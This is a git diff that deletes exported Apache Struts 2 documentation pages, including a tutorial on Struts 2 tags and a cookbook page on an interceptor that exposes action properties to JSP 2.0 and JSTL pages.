-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811875">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811875">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811875">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811875">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This tutorial assumes you've completed the <a shape="rect" href="hello-world-using-struts-2.html">Hello World</a> tutorial and have a working helloworld project. The example code for this tutorial, using_tags, is available [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;%@ page language="java" contentType="text/html; charset=ISO-8859-1"
-    pageEncoding="ISO-8859-1"%&gt;
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt;
-&lt;html&gt;
-&lt;head&gt;
-&lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
-&lt;title&gt;Basic Struts 2 Application - Welcome&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-&lt;h1&gt;Welcome To Struts 2!&lt;/h1&gt;
-&lt;p&gt;&lt;a href="&lt;s:url action='hello'/&gt;"&gt;Hello World&lt;/a&gt;&lt;/p&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div><p>When you run the Hello World tutorial in your Servlet container and then mouse over the Hello World hyperlink created by the Struts 2 url tag you'll see that the URL created is hello.action (relative to the web context's root folder).</p><p>Examine the struts.xml configuration in the Hello World tutorial and you will find this:</p><div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1 [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">...
-&lt;action name="hello" class="org.apache.struts.helloworld.action.HelloWorldAction" method="execute"&gt;
-  &lt;result name="success"&gt;/HelloWorld.jsp&lt;/result&gt;
-&lt;/action&gt;
-...
-</pre>
-</div></div><p>The action node above maps the hello.action to the execute method of class HelloWorldAction. If the execute method returns success, the view page HelloWorld.jsp (in web context root folder) will be returned to the user.</p><p>A common use case is that the URL also needs to include a value for a query string parameter such as userName. To add a query string parameter and its value use the Struts 2 param tag, nested inside the url tag.</p><p>For the Using Tags tutorial add t [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:url action="hello" var="helloLink"&gt;
-  &lt;s:param name="userName"&gt;Bruce Phillips&lt;/s:param&gt;
-&lt;/s:url&gt;
-
-&lt;p&gt;&lt;a href="${helloLink}"&gt;Hello Bruce Phillips&lt;/a&gt;&lt;/p&gt;
-
-</pre>
-</div></div><p>Rather then put the url tag as the value for the anchor tag's href attribute, we've separated out the s:url tag into its own code block. Nested inside the url tag is the Struts 2 param tag. This tag lets you specify a parameter name (e.g. userName) and a value for that paramter (e.g. Bruce Phillips).</p><p>Notice the use of the var attribute. The value of the var attribute is a reference we can use later in our code to refer to the url created.</p><p>Examine the anchor tag [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;p&gt;Get your own personal hello by filling out and submitting this form.&lt;/p&gt;
-
-&lt;s:form action="hello"&gt;
-
-  &lt;s:textfield name="userName" label="Your name" /&gt;
-	
-   &lt;s:submit value="Submit" /&gt;
-
-&lt;/s:form&gt;
-
-
-</pre>
-</div></div><p>The Struts 2 <a shape="rect" href="textfield.html">textfield</a> tag provides a input html tag of tag text and the submit tag creates a submit button. When the index page is return by the server to the browser you should see:</p><p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="using-struts-2-tags.data/Struts%20Form.png"></span></p><p>The Struts form, textfield, and submit tags were converted to this HTML.</p><div class="code pan [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;form id="hello" name="hello" action="/Using_Tags_Struts2_Mvn/hello.action;jsessionid=3471d76027b5342cab44f297b567" method="post"&gt;
-
-&lt;table class="wwFormTable"&gt;
-
-&lt;tr&gt;
-    &lt;td class="tdLabel"&gt;&lt;label for="hello_userName" class="label"&gt;Your name:&lt;/label&gt;&lt;/td&gt;
-    &lt;td&gt;&lt;input type="text" name="userName" value="" id="hello_userName"/&gt;&lt;/td&gt;
-&lt;/tr&gt;
-
-&lt;tr&gt;
-    &lt;td colspan="2"&gt;&lt;div align="right"&gt;&lt;input type="submit" id="hello_0" value="Submit"/&gt;
-&lt;/div&gt;&lt;/td&gt;
-&lt;/tr&gt;
-
-&lt;/table&gt;
-&lt;/form&gt;
-
-
-</pre>
-</div></div><p>Note how Struts 2 created a table inside the form to position the form elements. In later tutorials you'll learn how to specify the layout (table, CSS). The Struts 2 textfield tag created an HTML input tag of type text with a name value that matches the name value of the textfield tag. Struts 2 also created a label HTML tag based on the label value of the textfield tag.</p><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-i [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:property value="messageStore.message" /&gt;
-
-</pre>
-</div></div><p>The most common use of the <a shape="rect" href="property.html">property</a> tag is used to "get" the value returned by calling a public get method (of the Action class) and then to include that value in the HTML returned to the browser.</p><p>As discussed in the <a shape="rect" href="hello-world-using-struts-2.html">Hello World</a> tutorial, the value of "messageStore.message" instructs Struts 2 to first call method getMessageStore of the Action class. That method call re [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">private static int helloCount = 0;
-	
-public int getHelloCount() {
-	return helloCount;
-}
-
-public void setHelloCount(int helloCount) {
-	HelloWorldAction.helloCount = helloCount;
-}
-</pre>
-</div></div><p>Each time the execute method is called we'll increase helloCount by 1. So add this code to the execute method of class HelloWorldAction.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Increase helloCount</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">helloCount++;
-
-</pre>
-</div></div><p>Whenever a user clicks one of the links on page index.jsp (or submits the form), method execute of class HelloWorldAction will be run and the static field helloCount will be increased by one.</p><p>To include the value of the helloCount attribute in the HelloWorld.jsp we can use the Struts 2 property tag. Add the following to HelloWorld.jsp after the h2 tag.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bott [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;p&gt;I've said hello &lt;s:property value="helloCount" /&gt; times!&lt;/p&gt;
-
-</pre>
-</div></div><p>So even though the getHelloCount method returns an integer type, Struts 2 converted it to type String and placed it into the body of the p tag.</p><div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Note that even though helloCount is a static field, the get and set methods for helloCount are not static [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public String toString() {
-		
-	return message + " (from toString)";
-		
-}	
-
-</pre>
-</div></div><p>Add the following to HelloWorld.jsp</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Using Property Tag to Call toString</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;p&gt;&lt;s:property value="messageStore" /&gt;&lt;/p&gt;
-
-</pre>
-</div></div><p>Since getMessageStore of HelloWorldAction class returns a MessageStore object, Struts 2 will call the toString method of class MessageStore. The string returned by that toString method will be displayed in the browser.</p><p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="using-struts-2-tags.data/displaymessagestore.png"></span></p><p>We covered a lot in this tutorial, but we've really only scratched the surface of how to use the  [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/using-struts-and-xwork-with-jsp-20-and-jstl-11.html b/content/docs/using-struts-and-xwork-with-jsp-20-and-jstl-11.html
deleted file mode 100644
index 443ae2f..0000000
--- a/content/docs/using-struts-and-xwork-with-jsp-20-and-jstl-11.html
+++ /dev/null
@@ -1,337 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Using Struts and XWork with JSP 2.0 and JSTL 1.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="using-struts-and-xwork-with-jsp-20-and-jstl-11.html">Using Struts and XWork with JSP 2.0 and JSTL 1.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Using Struts and XWork with JSP 2.0 and JSTL 1.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14253">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14253">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14253">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14253">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14253">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14253">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>S2/X1 and its taglib is oriented towards OGNL, which is using a value stack <br clear="none">
-for all action properties. These values are not direct available for the<br clear="none">
-expression language of JSP2/JSTL1.1. </p>
-
-<p>However, it's easy to populate the request<br clear="none">
-attribute set, with all gettable properties of an action object. You need to provide<br clear="none">
-an interceptor that does the job, by register a PreResultListener which is <br clear="none">
-invoked after the return of Action.execute() but before the rendering of the result .</p>
-
-<p>The interceptor below is using Jakarta BeanUtils. It first extracts all getters<br clear="none">
-of the current action, invokes them one at the time and stores the values into a map.<br clear="none">
-Then it iterates over the map and populates the request attribute set.<br clear="none">
-<em>The double iteration is not needed, it's just there for clarity.</em></p>
-<h2 id="UsingStrutsandXWorkwithJSP2.0andJSTL1.1-classActionPropertyExportInterceptor">class ActionPropertyExportInterceptor</h2>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package com.whatever.interceptors;
-
-import org,apache.struts2.StrutsStatics;
-import com.opensymphony.xwork.Action;
-import com.opensymphony.xwork.ActionInvocation;
-import com.opensymphony.xwork.interceptor.AroundInterceptor;
-import com.opensymphony.xwork.interceptor.PreResultListener;
-import org.apache.commons.beanutils.PropertyUtils;
-import javax.servlet.http.HttpServletRequest;
-import java.beans.PropertyDescriptor;
-import java.util.*;
-
-/**
- * Populates HTTP Request Attributes with all gettable properties of the current action.
- */
-public class ActionPropertyExportInterceptor extends AroundInterceptor {
-    protected void before(ActionInvocation invocation) throws Exception {
-        invocation.addPreResultListener( new PropertyExporter() );
-    }
-    protected void after(ActionInvocation dispatcher, String result) throws Exception { }
-
-    public static class PropertyExporter implements PreResultListener {
-        private static final List   ignore = Arrays.asList(new String[] {"class", "texts"}); //skip getClass,...
-
-        //Invoked after Action.execute() but before Result
-        //Calls all getters of the action and insert the values into the request
-        public void beforeResult(ActionInvocation invocation, String resultCode) {
-            Map                 props   = extractGetterPropertyValues( invocation.getAction() );
-            HttpServletRequest  request = getRequest(invocation);
-            for (Iterator it = props.entrySet().iterator(); it.hasNext();) {
-                Map.Entry   e = (Map.Entry) it.next();
-                request.setAttribute((String) e.getKey(), e.getValue());
-            }
-        }
-
-        public Map extractGetterPropertyValues(Object bean) {
-            PropertyDescriptor[]  descr = PropertyUtils.getPropertyDescriptors(bean);
-            Map                   props = new HashMap();
-            for (int i = 0; i &lt; descr.length; i++) {
-                PropertyDescriptor d = descr[i];
-                if (d.getReadMethod() == null) continue;
-                if (ignore.contains(d.getName())) continue;
-
-                try {
-                    props.put(d.getName(), PropertyUtils.getProperty(bean, d.getName()));
-                } catch (Exception e) { }
-            }
-            return props;
-        }
-
-        public HttpServletRequest getRequest(ActionInvocation invocation) {
-            return (HttpServletRequest) invocation.getInvocationContext().get(WebWorkStatics.HTTP_REQUEST);
-        }
-    }
-}
-</pre>
-</div></div>
-
-<p>Don't forget to <em>declare</em> the interceptor in your struts.xml file and <em>insert</em> it <br clear="none">
-into your interceptor stack.</p>
-<h2 id="UsingStrutsandXWorkwithJSP2.0andJSTL1.1-struts.xmlsnippet">struts.xml snippet</h2>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;interceptor name="export" class="com.whatever.interceptors.ActionPropertyExportInterceptor" /&gt;
-. . .
-&lt;interceptor-stack name="standard-interceptors"&gt;
-    &lt;interceptor-ref name="timer" /&gt;
-    &lt;interceptor-ref name="logger" /&gt;
-    &lt;interceptor-ref name="params" /&gt;
-*    &lt;interceptor-ref name="export"/&gt;*
-    &lt;interceptor-ref name="validateParams"/&gt;
-    &lt;interceptor-ref name="awarePlugger" /&gt;
-&lt;/interceptor-stack&gt;
-</pre>
-</div></div>
-
-<p>Your action need to provide getters for all properties that should be exported into the <br clear="none">
-request attribute set.</p>
-<h2 id="UsingStrutsandXWorkwithJSP2.0andJSTL1.1-classViewUser">class ViewUser</h2>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class ViewUser extends ActionSupport {
-    private int                         id;
-    private User                        user;
-
-    public String execute() throws Exception {
-        user = findUser( getId() );
-        return Action.SUCCESS;
-    }
-
-    public  int   getId()          {return id;}
-    public  void  setId(int id)    {this.id = id;}
-*    public  User  getUser()        {return user;}*
-
-    private User  findUser(int id) {...}
-}
-</pre>
-</div></div>
-
-<p>The User class might look like this</p>
-<h2 id="UsingStrutsandXWorkwithJSP2.0andJSTL1.1-classUser">class User</h2>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-import java.util.Date;
-public class User {
-    private int     id;
-    private String  firstName, lastName, email;
-    private String  street, zip, city;
-    private Date    date;
-    
-    public String  getFirstName() {return firstName;}
-    //..._getters and setters_...
-}
-</pre>
-</div></div>
-
-<p>Finally, using the samples above you can write your JSP2 page like this.</p>
-<h2 id="UsingStrutsandXWorkwithJSP2.0andJSTL1.1-ViewUser.jsp">ViewUser.jsp</h2>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="c"   uri="http://java.sun.com/jsp/jstl/core" %&gt;
-&lt;%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %&gt;
-&lt;%@ taglib prefix="fn"  uri="http://java.sun.com/jsp/jstl/functions" %&gt;
-&lt;html&gt;
-&lt;head&gt;
-    &lt;title&gt;Info about ${user.firstName}&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-    &lt;h1&gt;Info about ${user.firstName} ${user.lastName} [OS:ID=${user.id}]&lt;/h1&gt;
-    &lt;table border="1" cellspacing="0" cellpadding="2" width="90%" &gt;
-    &lt;tr&gt;
-        &lt;th&gt;Name&lt;/th&gt; &lt;td&gt;${user.firstName} ${user.lastName}&lt;/td&gt;
-    &lt;/tr&gt;
-    &lt;tr&gt;
-        &lt;th&gt;Created&lt;/th&gt; &lt;td&gt;&lt;fmt:formatDate value="${user.date}" pattern="yyyy-MM-dd HH:mm"/&gt;&lt;/td&gt;
-    &lt;/tr&gt;
-    &lt;tr&gt;
-        &lt;th&gt;Email&lt;/th&gt; &lt;td&gt;${user.email}&lt;/td&gt;
-    &lt;/tr&gt;
-    &lt;tr&gt;
-        &lt;th&gt;Address&lt;/th&gt; &lt;td&gt;${user.street} ${user.zip} ${fn:toUpperCase(user.city)}&lt;/td&gt;
-    &lt;/tr&gt;
-    &lt;/table&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-
-<h2 id="UsingStrutsandXWorkwithJSP2.0andJSTL1.1-DisplayingvalidationerrorswithJSTL">Displaying validation errors with JSTL</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;c:if test="${!empty fieldErrors || !empty actionErrors}"&gt;
-  &lt;div class="red"&gt;
-    &lt;ul&gt;
-      &lt;c:forEach items="${fieldErrors}" var="fieldError"&gt;
-        &lt;c:forEach items="${fieldError.value}" var="error"&gt;
-          &lt;li&gt;${error}&lt;/li&gt;
-        &lt;/c:forEach&gt;
-      &lt;/c:forEach&gt;
-      &lt;c:forEach items="${actionErrors}" var="actionError"&gt;
-        &lt;li&gt;${actionError}&lt;/li&gt;
-      &lt;/c:forEach&gt;
-    &lt;/ul&gt;
-  &lt;/div&gt;
-&lt;/c:if&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/using-tags.data/HelloWorld.PNG b/content/docs/using-tags.data/HelloWorld.PNG
deleted file mode 100644
index 9bc3a57..0000000
Binary files a/content/docs/using-tags.data/HelloWorld.PNG and /dev/null differ
diff --git a/content/docs/using-tags.data/Logon.PNG b/content/docs/using-tags.data/Logon.PNG
deleted file mode 100644
index 5209d75..0000000
Binary files a/content/docs/using-tags.data/Logon.PNG and /dev/null differ
diff --git a/content/docs/using-tags.data/Welcome.PNG b/content/docs/using-tags.data/Welcome.PNG
deleted file mode 100644
index 82b97a5..0000000
Binary files a/content/docs/using-tags.data/Welcome.PNG and /dev/null differ
diff --git a/content/docs/using-tags.html b/content/docs/using-tags.html
deleted file mode 100644
index 60297df..0000000
--- a/content/docs/using-tags.html
+++ /dev/null
@@ -1,354 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Using Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="bootstrap.html">Bootstrap</a>&nbsp;&gt;&nbsp;<a href="using-tags.html">Using Tags</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Using Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23381">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23381">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23381">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23381">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23381">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23381">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
